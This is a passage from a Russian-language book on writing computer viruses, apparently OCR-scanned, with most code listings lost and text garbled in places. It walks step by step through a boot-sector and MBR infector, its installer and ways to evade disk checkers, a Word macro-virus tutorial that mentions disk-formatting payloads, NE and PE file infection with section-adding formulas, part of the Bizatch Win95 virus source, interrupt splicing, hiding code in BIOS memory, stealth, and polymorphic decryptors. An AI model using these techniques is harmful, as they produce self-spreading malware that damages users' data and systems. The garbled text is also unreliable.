О перехвате Int 21 h программой, загружаемой из Master Boot Record Дело за малым — осталось перехватить Int 21h, и задача решена. Но выясни лось, что это не так просто. Естественно было бы поступить так: 1. Первым делом установить вектор Int 1 Ch или Int 08h (оба — таймер) на собствен ный обработчик. 2. Этот обработчик следит за вектором Int 21h, и как только последний изменяет ся — перехватывает Int 21h. 3. Далее обработчик Int ICh (Int 08h) "обезвреживает " себя в памяти, например, ко мандой "IRET", чтобы машина не зависала. Так и было сделано, после чего началось самое интересное. Обработчик Int 21 h исправно выполнялся несколько секунд, после чего его бессовестно топили — то ли MSDOS.SYS, то ли COMMAND.COM — не важно. Чтобы избавиться от этого эффек та, было придумано кучу способов — например, ожидание не первого изменения век тора Int 21 h, а третьего, десятого и т.п. Как ни странно, ничего не получалось. Конечно, можно было бы поступить и так: 1. Отловить момент, когда ОС уже загружена и начинают выполняться программы, записанные, например, в AUTOEXEC.BAT. 2. Перехватить Int 21 h. Проблема здесь в следующем: совершенно неясно, как именно засечь этот за мечательный момент. Кроме того, такой метод тоже не дает стопроцентной гарантии. Поэтому идею пришлось отклонить, а вместо нее предложить алгоритм, который об суждается в следующем пункте. О применении вектора Int 16h Как вы, наверное, знаете, прерывание Int 16h является программным и может вызываться, например, из программы пользователя для выполнения некоторых дей ствий, таких как чтение символа с клавиатуры, получение, ее флагов и т.п. При этом оно обладает одним замечательным свойством, а именно — пользовательский обра ботчик Int 16h не утапливается WINDOWS при загрузке, и вызывается даже в WORDe, EXCELe и FARe. Так, в проведенном автором эксперименте, при нажатии Двух SHIFTOB загрузочный сектор дискеты считывался и тут же записывался на мес-. то. Опытная программа загружалась из MBR и работала в любых WINDOWS-прило жениях. Этот факт решено было использовать для построения "непотопляемой" процедуры обработки Int 21h. Итак, предлагаю такой алгоритм: 1. Установить вектор Int 16h на вирусный обработчик. 2. Этот обработчик постоянно вызывает вирусную процедуру Int 21h какой-нибудь экзотической собственной функцией, типа АХ = OBABCh. 3. Если вирусная процедура обработки Int 2lh активна, она должна "ответить" на этот вызов (пусть это будет AL = 98п). Если ответа нет, обработчик Int 21h не ус тановлен или утоплен, поэтому Int 21h следует перехватить. Не совсем просто, но тоже со вкусом. Сами процедуры обработки Int 16h и Int 21 h могут быть, например, такими:
Разработка загрузочной вирусной программы
Кстати, использовать в данном случае Int 09h вместо Int 16h нельзя. Дело в том, что при загрузке WINDOWS топит все пользовательские программы, которые "зацеплены" за этот вектор. Топится даже великий и могучий KEYRUS.COM, не го воря уже о вирусах.
Общий алгоритм работы вируса Теперь настало время создать алгоритм работы нашего вируса, чем мы и зай мемся. Только сначала условимся, что наш вирус будет заражать загрузочные секто ра гибких дисков и MBR (Master Boot Record) первого жесткого диска. Поэтому можно предложить следующий "план работы"; Попав при начальной загрузке машины в память по адресу 0000:7COOh, вирус должен выполнить такие действия: 1. Установить регистры SS и SP на собственный стек. 2. "Отрезать" у системы несколько килобайтов памяти. 3. Переписать свой код в полученную область памяти. 4. Передать управление следующей секции своего кода, уже расположенной в конце основной памяти. Эта секция, в свою очередь, должна: 1. Переопределить вектор прерывания Int 16h на вирусный код. 2. Считать настоящий загрузочный сектор в память по адресу OOOOJCOOh. 3. Проверить, заражен ли винчестер. Если нет, то заразить его MBR.
4. Передать управление настоящему загрузочному сектору, находящемуся по адресу 0000:7COOh. \ Далее выполняется загрузка операционной системы. Вирусный обработчик Int I6h, как было сказано выше, следит за состоянием обработчика Int 21h, и перехва тывает это прерывание, если по какой-либо причине вирусная процедура обработки Int 21Ь не активна. Алгоритм его работы подробно описан в предыдущем пункте. Как вы уже знаете,"заразные" функции мы возложим на обработчик прерыва ния Int 21h. О том, как это будет реализовано, тоже было рассказано выше. Под заражением понимают запись вирусного кода в ВООТ-сектор дискеты или в MBR винчестера. Понятно, что при загрузке с винчестера проверять его на за раженность бессмысленно. И тем не менее, наш вирус делает это, так как отключить проверку жесткого диска не так просто. Хотелось бы сказать о том, какой должна быть максимальная длина вирусного кода. Если мы хотим поместить вирус в загру зочный сектор целиком, следует учесть два момента. 1. Собственно программа загрузки в MBR занимает не более, чем 446 байт 2. Программа загрузки в BOOT-секторе дискеты имеет разный размер в разных вер сиях DOS. В самом "предельном" случае она начинается со смещения 0055h отно сительно начала сектора. Два последних байта BOOT и MBR содержат код: 55 A Ah. Если его затереть, система перестанет загружаться с испорченного таким образом диска. Отсюда следует очевидный вывод — размер кода вируса не может превы шать: 200h - 55h - 02h = lA9h = 425 байт! Если вы не выйдете за эту границу, обра щение к диску будет происходить корректно. Кроме того, даже NORTON DISK DOCTOR не будет замечать изменений программы загрузки в ВООТ-секторе диске ты или MBR винчестера, что, согласитесь, очень важно.
Как начинается распространение вируса Для внедрения загрузочного вируса в компьютер достаточно попробовать за грузиться с зараженной дискеты, при этом дискета не обязательно должна быть за грузочной. В этом состоит особенность ВООТ-вирусов. Итак, чтобы вирус начал распространяться, достаточно заразить им гибкий диск, а потом попытаться загру зиться с него на той или иной машине. Начало работы Обычно для создания вирусов используют СОМ-формат:
(
Вирус получает управление Как вы уже знаете, загрузочный вирус получает управление только при за грузке операционной системы. Далее он должен "отрезать" у DOS несколько кило байтов памяти и переписать свой код в полученную область. Для выполнения этих Функций можно предложить такой фрагмент :
Поскольку операционная система к моменту начала выполнения этого фраг мента еще не загружена, "увести" у вычислительной системы два килобайта памя ти не представляет никакого труда. Для этого просто следует уменьшить на два число, расположенное в области данных BIOS по адресу: 0000:0413h. Загрузившись,операционная система не будет замечать занятую вирусом память. Даже такие программы, как RELEASE или Volkov Commander (нажмите ALT + F5) не по могут обнаружить, где именно "притаился" вирус. . . .
Дело в том, что в MBR жесткого диска тело вируса располагается по смеще нию OOOOh от начала сектора, а в ВООТ-записи дискеты это же смещение равно 0055h (см. п. 1.15). При заражении того или иного диска вирус определяет необходи мое значение поля "additor", которое потом будет записано в загрузочный сектор. Соманда "ret far" для краткости записана в виде машинного кода OCBh.
Согласно описанному выше алгоритму, настало время перехватить прерыва ние Int 16h. Наш вирус будет использовать его для наблюдения за состоянием вирус ного обработчика lnt 21h и перехвата этого прерывания:
Прерывание здесь перехватывается путем непосредственной модификации вектора в таблице векторов прерываний. Константа "to_read_boot" задает смещение от начала вирусного кода до метки "read_boot", с которой и начинается код, выполня ющий переопределение вектора Int 16h на вирусный обработчик. Дополнительных пояснений работа фрагмента не требует.
Читаем исходную ВООТ-запись Сначала договоримся, где каш вирус будет хранить настоящую загрузочную запись (BOOT — для дискет или MBR — для жестких дисков). Обычно на нулевой дорожке нулевой стороны винчестера используется только самый первый сектор, а остальные свободны. Поэтому было бы естественно сохранить MBR в одном из сек торов нулевой дорожки. Нас заинтересовал сектор с номером 12, но можно было бы взять и любой другой. Только не следует выбирать сектора с очень большими номе рами. Может случиться так, что, например, сектора с номером 63 на диске просто не существует. Оптимальный номер — не выше двадцати. Для дискет оригинальную ЮОТ-запись проще всего записывать в последний сектор последней дорожки на первой стороне. Для того, чтобы с зараженного диска можно было загрузиться, ви>ус должен считать исходную загрузочную запись в память по адресу: 0OO0;7C0Oh и после выполнения необходимых действий передать ей управление:
241
винчестера считывает в младшие 512 байт второго килобайта. Так сделано для боль шей понятности программы и облегчения программирования, но один килобайт пямяти фактически тратится впустую (что с некоторой натяжкой можно отнести к вредном действиям нашего вируса). Процедура "read_mbr" читает сектор 1 дорожки 0 на нулевой стороне указан ного диска.Процедура "write_mbr" записывает данные из буфера по адресу: CS:0400h в сектор 1 дорожки 0 на нулевой стороне указанного диска. Процедура "write_rnbr_last" записывает данные из буфера по адресу: CS:0400h в заданный сек тор того или иного диска и заполняет ячейки памяти:
Для проверки зараженности MBR вирус сравнивает ее первый байт с первым байтом своего кода — числом ОЕп.Далее, в поле "additor" заносится число 00h, необ ходимое для корректной загрузки с винчестера. Стоит отметить, что заражение MBR происходит исключительно при загрузке с зараженной дискеты. Когда операционная система будет загружена, вирус будет инфицировать только гибкие диски при смене текущего диска на "А" или "В". Пишем обработчик прерывания Int 16h. Вообще-то, мы его уже написали. Пишем обработчик прерывания Int 21h. Приблизительный текст процедуры обработки Int 21 h уже приводился выше. Правда, там отсутствовал фрагмент, собственно выполняющий заражение дискет. Поэтому настало время его создать. Естественно сделать этот фрагмент по аналогии с участком программы, который "работает" с винчестером. Поэтому:
243
Как вы успели заметить, текст процедуры очень похож на текст фрагмента, который будет заражать жесткий диск. Небольшие отличия связаны со спецификой работы дисковода и винчестера. Дело в том, что жесткий диск вращается непрерыв но (за исключением некоторых новых систем с режимом экономии электроэнергии), а двигатель дисковода запускается только при закрытии его флажка (если быть точ ным, это зависит от конструкции дисковода.) Поэтому, если двигатель дисковода к моменту выполнения операции чтения не набрал необходимую скорость, BIOS вер нет ошибку и сообщит, что дискета сменена. В этом случае рекомендуется повторить чтение, предварительно сбросив накопитель. Наш вирус повторяет попытку чтения три раза, после чего в случае неудачи отказывается от заражения такого диска. Несколько раньше мы выяснили, что для разных версий MS DOS и WIN DOWS программа начальной загрузки в ВООТ-секторе дискеты располагается по разным смещениям. Сделано это по той причине, что старшие версии операционной системы хранят в загрузочном секторе более подробные сведения о диске. Наиболь шим смещением, с которым вы когда-либо можете встретиться, является 0055h. По этому наш вирус будет помещать в ВООТ-сектор свой код, ориентируясь именно на приведенное значение. Тогда в первые два байта сектора должна быть записана команда перехода на начало этого кода, а именно: "ЕВ 53". И последнее — вирус оп ределяет параметры заражаемой дискеты исходя из ее Media Descryptor. Сам
245
Вы можете спросить, почему для имени вируса отведено всего девять байт. Дело в том, что наш вирус получился довольно большим (416 байт). Несколько рань ше мы выяснили, что этот размер не может быть больше, чем 425 байт. А 425-416 как раз равно девяти ...
Пишем секцию инсталляции Очевидно, в таком виде, в каком сейчас существует наш вирус, его довольно трудно внедрить в систему. Поэтому для облегчения этой "вредительской" операции напишем специальный инсталлятор. Его функция состоит в следующем: при старте запускающей программы из командной строки или из-под оболочки заразить диск в дисководе "А". Причем диск совсем не обязательно должен быть загрузочным. Далее с этого диска нужно загрузиться на той машине, которую требуется заразить. При этом вирус заразит MBR ее жесткого диска. Теперь, после загрузки с винчестера, ви рус будет инфицировать все читаемые на зараженной машине диски и начнет распро страняться. Исходя из сказанного выше, можно предложить такое решение:
246
Если вирусу не удалось заразить диск, то выдается сообщение "ERROR!". В том случае попытку заражения просто нужно повторить. И еще — если вы хотите знать, зачем понадобились первые четыре команды инсталлятора, вам следует помотреть приводимый ниже полный текст вирусной программы. Обратите внимание а первую команду, а именно ; "jmp installer". Инсталлятор замещает ее кодом, устанавливающим собственный стек вируса, и поэтому в заражаемые сектора эта команда не попадет.
250
251
253
Создание Макро-вируса
Создание Макро-вируса Как известно, в последнее время большое распространение получили макро вирусы, на которые, по сведениям из различных источников, приходится от 70 до 80 процентов заражения. Автор не несет ответственности за любой ущерб, нанесенный прямым или косвенным использованием опубликованного материала. Материал был предостав лен DarkNight'oM из VBB при условии сохранении содержания и копирайта. Во-первых, вам будет необходим MS WORD версии 6.0 или выше, кроме то го, вам может понадобиться дизассемблер макросов (автор AURODREPH из VBB) для изучения зашифрованных макросов. Также вы должны создать резервную копию шаблона NORMAL.DOT в каталоге WIN WORD 6VTEMP LATE, так как именно этот документ обычно заражается макро-вирусом. Так что смотрите. Также я рекомендую иметь, по крайней мере, базовые знания о WORD BASIC, чтобы вы понимали, что происходит. Ну, хорошо. Вы все это сделаете. Теперь самое время перейти к основам макро-вирусов. Большинство макро-вирусов имеют типичную структуру. Они начинаются с авто выполняемо го макроса, заражающего глобальный шаблон Normal.dot. Кроме этого, они включают в себя некоторые макросы, которые заражают файлы при опре деленных действиях, к примеру, FileSaveAs, FileSave, TooIsMacros. Документы зара жаются переносом макросов в документ, и, таким образом, они будут выполняться при открытии этого документа. Код для процедуры автовыполнения может выгля деть примерно так:
Коротко, но четко. Всей этой информации, верите вы или нет, достаточно для оздания небольших макро-вирусов. Существует несколько методов, которые можно использовать для того, чтобы крыть свой вирус или сделать его более эффективным. Например, вы можете соцать макрос, прячущий вирус, когда кто-то смотрит в Tools/Macro. Код может выгля-
255
Создание Макро-вируса
Также вы можете включать внешние процедуры. Например, вирус Nuclear пытается откомпилировать и запустить внешний файл-разносчик вируса. Или неко торые троянские макросы пытаются форматировать ваш винт при открытии доку мента. Пример кода для безусловного форматирования:
1акже вы можете захотеть защитить паролем документ, который вы заразили, или при ошибке и если сейчас идет 13 секунда. Смотрите пример:
'также можно установить случайный пароль Я объяснил вам базовые знания, необходимые для того, чтобы начать писать макро-вирус.
256
Вирусы под Windows Итак, как заражать Windows NewEXE? На первый взгляд, WinNE — обычный ЕХЕ, начинается он с заголовка ЕХЕ для DOS и программки, которая пишет "This program requires Microsoft Windows". В EXE-header по смещению 18h стоит число 40h или больше. По смещению 3Ch нахо дится адрес (dd) смещения заголовка NewEXE. Заголовок NewEXE начинается с 'NE', далее идет собственно заголовок, в котором содержатся различные данные, в том числе адреса смещений таблиц Сегментов, ресурсов и т.д. После заголовка идет Таблица Сегментов, а за ней — все остальные таблицы, затем начинаются сами сег менты с кодом: !• адрес заголовка NewEXE (DOS_Header+3ch) уменьшается на 8 •
заголовок NewEXE сдвигается на 8 байт назад
•
в Таблицу Сегментов добавляется новый элемент, описывающий сегмент вируса
•
CS:IP NewEXE изменяется на начало вирусного кода, и само тело вируса допи сывается в конец файла
Для посадки в память (ph_33r перехватывает вектор int21h из-под Windows) необходимо использовать функции DPMI (int31h). Выделение сегмента, изменение его прав доступа, запись туда вируса; перехват прерывания 21h делается с помощью функции DPMI "Установить вектор прерывания реального режима". WinTiny можно назвать "нерезидентным" — он ищет NewEXE по каталогу. Разбирайтесь, пишите свои вирусы с заражением NewEXE (звучит, как "но вый русский") и поговорим о них поподробнее. ПРЕДУПРЕЖДЕНИЕ: откомпилированные файлы я запускал с помощью TD, ph_33r можно запускать, переводя EXE2B1N в СОМ; Это первый DOS/Windows вирус, инфицирующий COM/EXEAVinEXE фай лы. Данная технология позволяет вирусу находиться в резиденте, не заражая оболоч ки Windows. Точка входа вируса в части, относящейся к Windows, выделяет память, указывает на нее селектор, копирует вирус туда и устанавливает int 2Jh на резидент ную часть. Соблюдая аккуратность, стало возможным разделение одного и того же кода обработчиком int 21h DOS и Windows. Интересные штучки: выключает MSAV (DOS), получает оригинальное Int 2lh, используя DOSSEG:109Eh (DOS), не заражает файлы, заканчивающиеся на 'AV 'AN' 'ОТ' (DOS & Win) Глюки: "окна бьются" при загрузке, если перехвачена функция AH=3Dh Int2lh а также при заражении WIN386.EXE. Мы избежали этих глюков. Вирус веша ет debug при выходе. Проблемы с запуском. Компилируется в ЕХЕ.
257
259
260
261
263
Вирусы под Windows
269
271
273
Вирусы под Windows
275
276
278
Вирусы
под
Windows
Формат portable executable используется Win32, Windows NT и Win95, что де лает его очень популярным и возможно, в будущем, доминирующим форматом ехе. NE header в Windows З.И полностью отличается от РЕ header и the two should not be confused. Ни одна из нижеперечисленных технологий не была опробована на Windows NT. Turbo Debugger 32 (TD32) использовался при работе, а также часть работы была сделана с помощью Softlce'95. Вызов Windows 95 API Обычные приложения вызывают win 95 api, используя import table. Имя API, необходимое для вызова, заносится в import table. Когда приложение загружено, дан ные, необходимые для вызова API, заносятся в import table. Как объяснялось в Win 95, мы не можем модифицировать эту таблицу благодаря предусмотрительности Ми крософта. Эта проблема решается непосредственным вызовом kernel.dll. Нам необходи мо полностью игнорировать структуру вызова и переходить непосредственно на dll entrypoint. Чтобы получить handle dll/exe (названный module), можно использовать вы зов API GetModuleHandle, другие функции для получения entrypoint модуля — вклю чая функцию получения адреса API, GetP roc Ad dress. Но тут встает вопрос "курицы или яйца". Как я вызываю API, имея возмож ность вызывать его, и в то же время такой возможности не имея? Ответ прост: вызы вать api, известный нам в памяти — API в файле KERNEL32.DLL — по постоянным адресам. Немного кода Вызов API законными приложениями выглядит примерно так: call APIFUNCTIONNAME eg. call CreateFileA db 9ah dd ????
; Этот вызов ассемблируется в: ;Инструкцию call, /Смещение в jump table. ;Код в jump table похож на:
jrap far [offset into import table] Смещение в import table содержит адрес диспетчера для данной функции APIЭтот адрес можно получить с помощью GctProcAddress API. Диспетчер функций вы глядит так: push function value c a l l Module E n t r y p o i n t Здесь находятся функции API получения точки входа для каждого именован ного модуля, но функция нам недоступна. Если мы вызываем функции KERNEL32.DLL (там находятся все функции, необходимые для заражения executables), нам нужно взглянуть не далее, чем на этот call. Мы просто push'HM значение функ ции и вызываем entrypoint модуля.
280
На последних этапах создания Bizatch мы провели бета-тестинг на многих си стемах. После долгого процесса тестирования выяснилось, что модуль KERNEL32 располагается в памяти статически — точно, как мы предполагали, но местоположе ние в "June Test Release" отличается от "Full August Release". Мы поставили провер ку на это. Более того, одна функция (получение времени/даты) отличалась номером. Для компенсации этих различий я добавил проверку на 2 различных местоположе ния KERNEL32, но если kernel не найден, вирус возвращает управление программеносителю. Адреса и номера функций
Можно найти другие значения функции, используя Turbo Debugger 32bit из комплекта Tasm v4.0. Соглашения о вызовах (Calling Conventions) Windows 95 написан на C++ и Assembler, в основном на C++. И, хотя согла шения о вызовах просты для применения, Microsoft их не использует. Все API под Win95 используют Pascal Calling Convention.
На первый взгляд кажется, что все, что вам нужно — это заРшЬ'ить handle, стоящий перед (followed by) указателем на имя функции и вызвать API — не тут-то было. Параметры, согласно Pascal Calling Convention, должны быть 3aPush'eHbi в об ратном порядке:
281
Вирусы под Windows Используя TD 32bit мы можем оттрассировать call и найти вызов kernel, та кой, какой был указан выше. Это позволит нам получить номер функции and we can do away with the need for an entry in the import table. Заражение файлов формата РЕ -
.
Нахождение начала РЕ header'a происходит аналогично нахождению начала NE, проверкой DOS relocations на 40h или больше, и поиском dword указателя по смещению 3ch. 'NE' — для Windows 3.11, 'РЕ' — для Win32/WinNT/Win95. Внутри РЕ header находится Таблица Объектов, ее формат наиболее важен нам из всех форматов. Для добавления своего кода в носитель и перехвата управле ния на себя необходимо добавить элемент в Таблицу Объектов. К счастью, Мелко мягкие "поехали" на округлении до 32 битной границы, так что для нас всегда найдется место, и не потребуется сдвигать эти двинутые таблицы. Основные понятия заражения РЕ: •
Найти смещение заголовка РЕ в файле.
•
Считать достаточное количество заголовка для вычисления его полного размера.
•
Считать весь РЕ header и Таблицу Объектов.
•
Добавить новый объект в Таблицу Объектов. Установить точку входа RVA на но вый объект.
•
Дописать вирус к файлу по вычисленному физическому смещению.
•
Записать измененный РЕ header в файл.
Для нахождения таблицы объектов: Переменная 'Header Size' (не путать с 'NT headersize') — размер заголовков DOS, РЕ и Таблицы Объектов вместе. Для считывания таблицы объектов необходимо считать HeaderSize байт от на чала файла. Таблица объектов следует непосредственно за NT Header'oM. Значение 'NTheadersize' показывает количество байтов, следующих за полем 'flags'. Итак, для нахождения смещения Таблицы объектов получите NTheaderSize и добавьте размер поля флагов (24). Добавление объекта: получите 'number of objects' (количество объектов) и по множьте это на 5*8 (размер элемента таблицы объектов). Таким образом, вы узнаете смещение, по которому будет помещен объект ви руса. Данные для элемента таблицы объектов должны быть вычислены с использо ванием информации в предыдущем элементе (элементе носителя). RVA=((prev RVA+prev Virtual Size)/OBJ Alignment+1) *OBJ Alignment Virtual Size=((size of virus+buffer any space)/OBJ Alignment+1) *OBJ Alignment Physical Size=(size of virus/File Alignment*1)*File Alignment Physical Offset = prev Physical Offset + prev Physical Size Object Flags - db 40h,0,0,c0h Entrypoint RVA = RVA Увеличьте на 1 поле "количества объектов".
282
Запишите код вируса по вычисленному "физическому смещению", в размере "physical size" байт. Замечания Microsoft больше не включает информацию о заголовке РЕ в своих developers CDROM'ax. Они думают, что это сделает написание вирусов под Win95 менее инте ресным. Инструменты Существует много неплохих книг, дающих представление о низкоуровневом программировании под Windows 95. "Unauthorized Windows 95", хотя и не особенно полезная (в ней больше рассказывается о взаимодействии DOS/Windows), обеспечи вает нас утилитами на диске и на своих W W W , что весьма превосходно для тех, кто исследует вирусы под Win95.; /Добро пожаловать в Первый в Мире вирус под ;Windows'95 /Для меня было большой честью написать этот ;вирус. /Windows 95 - платформа, которая была /разработана как незаражаемая, но Microsoft не /посчитался с грозной силой vlad. Как таковой, /этот вирус будет использоваться в качестве /рекламы vlad. По 31-м числам каждый зараженный /ехе выведет на экран список членов vlad, как /старой, так и новой школы. /Ниже приведена программа-носитель, любезно ;позаимствованная нами у Borland. ;Этот пример выводит окно и пищит при нажатии /правой кнопки мыши, а при нажатии левой /увеличивает на экране 32-битный счетчик. .386 locals jumps -model flat.STDCALL include Win32.inc
j,
;Некоторые 32-битные константы /и структуры. L equ
extrn extrn extrn extrn extrn extrn
;Определим внешние функции, к /которым мы будем подключаться, BeginPaint:PROC CreateWindowExA:PROC DefWindowProcA-.PROC DispatchMessageA:PROC EndPaint-.PROC ExitProcess:PROC
283
Вирусы под Windows extrn extrn extrn extrn extrn extrn extrn extrn extrn extrn extrn extrn extrn extrn extrn
FindWindowA:PROC GetMessageA:PROC GetModuleHandleArPROC GetStockObject:PROC InvalidateRect:PROC LoadCursorA:PROC LoadIconA:PROC MessageBeeprPROC PostQuitMessage:PROC RegisterClassA:PROC ShowWindow:PROC SetWindowPos:PROC TextOutA:PROC TranslateMessage:PROC UpdateWindow:PROC ;Для поддержки Unicode, Win32 ;интерпретирует некоторые ;функции для Ansi или /Расширенного набора символов. ;Для примера мы взяли ANSI. CreateWindowEx equ DefWindowProc equ DispatchMessage equ FindWindow equ GetMessage equ GetModuleHandle equ LoadCursor equ Loadlcon equ MessageBox equ <MessageBoxA> RegisterClass equ TextOut equ .data copyright db 'VLAD inc - 19 95, peace through superior virus power..', 0 newhwnd dd 0 lppaint PAINTSTRUCT > msg MSGSTRUCT > wc WNDCLASS > mbx__count dd 0 hlnst dd 0 szTitleName db 'Bizatch by Quantum/VLAD activated' zero db 0 szAlternate db 'more than once', 0 szClassName db 'ASMCLASS32' , 0 szPaint db 'Left Button pressed:' s_num db 'OOOOOOOOh times.', 0 MSG_L EQU ($-offset szPaint)-l .code ;Сюда обычно передается управление от ;загрузчика.
284
287
289
Вирусы под V
292
Вирусы под Windows
293
294
297
Технология создания вирусов
Технологии создания вирусов Минимальные вирусы Тема минимальных вирусов поднимается везде, где только можно, и где нель зя. Ниже приведен самый маленький из известных мне оверрайтеров (всего 22 бай та!!!). Он был написан под пагубным влиянием пьяных споров известного вирмейкера Reminder'a с известным крекером и хакером SkullCODEr'OM. Спор был выигран Reminder'oM, как достойным представителем своего увлечения — вирмейкерства. Вот перед вами и есть решение небольшой проблемы, каковая стояла:
Классический сплайсинг на примере INT 21 h Многих вирмейкеров волнует вопрос, как поглубже влезть в память и подоль ше остаться незаметным, контролируя при этом жизненно важные операции на ком пьютере. Одной из классических идей на эту тему является сплайсинг — врезка перехода на свое тело непосредственно в обработчик прерывания. В этом случае об наружение и лечение вируса в памяти значительно усложняется. Так даже по самой подробной карте памяти не видно, что на самом деле при вызове прерывания управ ление получает наш блок(!). Как вы понимаете дизасамблировать и изучать обработ чики прерываний еще не додумались. Если уж браться за сплайсинг, то лучше всего модифицировать оригинальный DOS-ий обработчик, так как в этом случае вирус нельзя обойти с помощью алгоритма. Наш обработчик нужно строить по такой схеме:
298
299
Технология создания вирусов
300
Конечно приведенный алгоритм можно улучшить. Так, например: Вместо использования int 79h можно было ставить jmp на наш обработчик (тогда таблица векторов вообще бы не изменилась). Врезку можно выполнять в сере дину обработчика. Это затруднит обнаружение вируса в памяти. Как показали опыты, данный метод вполне совместим с Windows, естествен но, если вирус инсталлировался перед загрузкой оболочки.
Добрались и до биоса! На гробах 486, Пентюх есть очень прикольная вещь как Plug 'n' Play Bios. Предлагаю, сделать этот биос и на тройках, и там, где его нет, и не было вооб ще. Ну, вы в курсе, что это будет за биос. Как известно PNP биос лежит где-то в рай оне EF00-EFFF, чему равняется 16кб памяти. По-моему, для вируса этого вполне хватает. Для особо любознательных, структуру биоса можно представить на рисунке:
Как же определить, есть ли у нас биос по такому-то адресу? Например, за писать в первый байт 0, и считать первый байт. If 0 then биоса нет (пока), а если не 0 то значит, этот bios есть. Ну что ж, тогда пробуйте по другому адресу, напри. мер c800h. Вот процедура определения PNP биоса:
301
Технология создания вирусов
Хотя некоторые программы могут определить что "биос" перехватывает 21-ый int, но мало ли что может делать биос.
Стеле Стеле механизм, обеспечивающий невидимость вирусов — это конечно вещь очень хорошая, НО(!) только с одной стороны. С другой стороны — это не очень ра достно и для вирусов. То есть: очень прикольно, радостно и естественно желать, что бы вирус не увидели, а соответственно — не полечили или отнесли Данилову, что собственно неоднозначно. Зато — если мы в курсе, что вирус является стелсом, то полечить его, каким бы навороченным он ни был — плюнуть раз. Простая DOSoBaa команда COPY [зараженный файл.СОМ/ЕХЕ] [зараженный файл.ВАК] полечит ви рус за нефиг делать, остается только перезагрузиться с чистой дискеты и переписать обратно. ВСЕ! И стоило вирусу так долго извращаться, мучаться, заражать — ВСЕ. Его жизнь закончена — он умер. А почему? Потому что вкладывать в вирус принци пы собственного уничтожения, то есть стеле механизм — это самоубийство. Хорошо бы найти некий компромисс между тем, что мы хотим скрыться и между тем, чтобы нас не убили. На мой взгляд он достижим только если мы будем скрывать длину за раженного файла, то есть функции 1 l/12/4e/4f. Лечить сам файл — это не есть хоро шо для самого же вируса. Якобы полная невидимость обращается к вирусу спиной и все, вирус убивают.
302
I
"Психологическое" стелсирование было придумано зимой 1997 года извест-
ым вирмейкером Reminder'oM, в состоянии хорошего помутнения мозговых извиин. Ибо зима это такое пьяное время года, когда празднование нового года плавно ерерастает в проводы старого, массовые дни рождения и всевозможные праздники празднички, каковые происходят с регулярностью твоего проблеска минимального ротрезвления и с одной единой целью: как можно быстрее привести тебя к пункту воего конечного жизненного путешествия. Не буду утруждать ваши умы несвязной сторией создания такого глубокоумного термина как "психологическое" стелсироваие, но смею вас заверить первоначальную мысль он нес совершенно, если не скаать более, иную. А мысль же реального применения сего в компьютерных вирусах предельно проста и понятна: стандартные методы стелсирования честно вам скажу меня совершенно не прикалывают, так вот и подумалось: "А обязательно ли быть ре зидентом, чтобы быть стелсом?" Конечно, полным естественно нет. Но вот сокрытие увеличения длины — запросто. Идея первая (прямая) — запаковать. Придумана давным-давно, но, тем не ме нее, успешна и достаточно эффективна. Идея вторая (бредовая, собственно ради чего я тут все это и пишу) — перед ами две пары числа:
?
Вот с первого взгляда, если особо не присматриваться, то числа в первой верхней) паре гораздо более одинаковы, нежели во второй. Заражение происходит так, чтобы цифры не изменялись, а только меняли свое естоположение в числе. Приколитесь, в конце концов.
Как же работают полиморфные вирусы — Слушай, объясни, как работают полиморфики? Я так понимаю, что берут оманды типа mov ax,5 и заменяют на что-то типа Или вроде того. Естественно, каждый раз команды типа *!* меняются на друие. Или я не прав? — Ну, что-то в этом роде. В общем классический полиморф строится так: ) декриптор; 2) зашифрованное тело. Зашифрованное тело всегда разное, то есть криптуют его каждый раз по-раз ному и разными ключами. На этом и основана его неповторяемость.
303
Технология создания вирусов Далее: декриптор. Цель: сделать его как можно более различным по коду каж дый раз, при его образовании, то есть — в каждом новом сгенерированном декрипторе все по-разному, то есть (в максимуме) ни одного постоянного байта. Теперь как это сделать: допустим, имеется некий образец дескриптора (при митивный для примера):
как мы можем его изменить так, чтобы по маске его уже было не выловить. Во-первых, мы видим первые три команды, от перестановки которых места ми в любом порядке результат не изменится. Следовательно, мы можем их менять местами. Во-вторых, мы видим постоянные регистры используемые в данном декрип торе, как то — ax,cx,si. Мы можем их заменить на другие si, например, как регистр индексный мы можем поменять на di.bx,bp, то есть другие индексные регистры. Ах, например, на любой незадействованный в декрипторе сх не можем изменить, но посредством за мены кода мы можем избавиться от этой жесткой привязки (см. ниже) Так вот, все регистры мы можем менять. Все встречающиеся команды с ис пользованием регистра, который мы меняем тоже соответственно. В-третьих, мы можем добавить в код некоторые дополнительные команды, которые, по сути, не играют роли в исполнении, но присутствуют затем, чтобы как можно более размыть маску, допустим однобайтовые: nop, c!d, cmc... и подобные; двухбайтовые: adc dx,bx; sub bx,ax; трехбайтовые: mov xx, [любое 16 битовое значе ние] ну и так далее. В этом контексте надо использовать все регистры, которые не за действованы в декрипторе, то есть, если вдруг ты используешь в декрипторе ax,si,cx, то в полиморном мусоре вы используете все остальные. В-четвертых, как ты уже сказал взаимозаменение действующих команд. Вы, в принципе, сами ответили на этот вопрос. Добавлю немного, что вот loop @1 ты мог бы заменить на dec cxjnz @1 или cmp si,offset конца декриптуемого кода и jbe @1 или jb @1 , в зависимости если вы переставите местами si и offset, то выйдет уже jae @1 или ja. Если декриптор большой и не влазит в 128 байт, то формируйте что-то вроде: cmp s i , of f set_jDf_end jbe jmp @2:
@2 @1
Вместо jmp можно использовать mov xx,@l и jmp xx (xx — это неиспользуе мый регистр).
304
Технология создания еирусов
I
Короче — это ваша фантазия, как это сделать.
В-пятых, частично производное из четвертого: команды раскриптовщика как — хог мы можем заменить на sub,add например. Соответственно декриптовщик строится в соответствии с криптовщиком. Соответствие должно проводиться по ключам раскриптовщика и методам раскриптовки (add,sub,xor). В-шестых, мы можем использовать несколько скелетов раскриптовщиков, Наример первый, который раскручивает линейно и просто по одному коду. Мы можем аписать также раскриптовщик, который декриптует прыжками по телу раскриптоываемого кода. Также мы можем (в примитиве) менять ключ раскриптовщика динаически. Например, между командами inc si и inc si мы можем вставить add ax,bx или ub ax,bx. Соответственно в начале мы должны вставить команду mov bx,kod2. Сто ит ли говорить, что kod, kos2, offset, len — это всегда разные значения. В-седьмых, это изобретение чисто мое: использование действующих регистгав в разных командах накладывает некий отпечаток на код. Например: ov ax,kod or [ s i ] , а х >егистры одинаковы. Статистически можно выявить их и декриптовать, основываясь а этом. А это плохо. В противодействие между этими командами мы можем вста ть такой код: mov dx,ax иди xchg ax,dx или xchg dx,ax соответственно код поменятся:
Если преобразований поставить несколько, например:
